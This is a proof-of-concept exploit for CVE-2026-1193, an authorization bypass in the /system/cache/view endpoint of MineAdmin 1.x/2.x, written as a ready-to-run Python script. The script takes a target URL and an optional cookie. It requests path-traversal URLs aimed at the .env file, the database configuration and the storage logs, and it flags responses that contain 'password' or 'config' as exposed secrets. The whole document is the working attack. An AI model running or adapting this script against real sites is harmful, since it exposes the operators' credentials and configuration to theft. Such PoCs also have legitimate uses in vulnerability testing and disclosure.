CVE-2026-1193 MineAdmin 1.x/2.x 视图缓存接口权限绕过漏洞

import requests import sys # CVE-2026-1193 PoC - MineAdmin View Cache Authorization Bypass # Target: MineAdmin 1.x/2.x /system/cache/view endpoint def exploit_mineadmin(target_url, cookie=None): """ Exploit for MineAdmin improper authorization vulnerability in /system/cache/view endpoint """ endpoints = [ '/system/cache/view', '/system/cache/view?file=../../config/database', '/system/cache/view?path=../../storage/logs', '/system/cache/view?file=../../.env' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } if cookie: headers['Cookie'] = cookie print(f'[*] Target: {target_url}') print(f'[*] Testing {len(endpoints)} endpoints...') for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f'[+] Vulnerable endpoint found: {endpoint}') print(f'[+] Response length: {len(response.content)} bytes') if 'config' in response.text.lower() or 'password' in response.text.lower(): print(f'[!] Sensitive data exposed!') return True except requests.RequestException as e: print(f'[-] Error accessing {endpoint}: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url> [cookie]') sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] if len(sys.argv) > 2 else None result = exploit_mineadmin(target, cookie) sys.exit(0 if result else 1)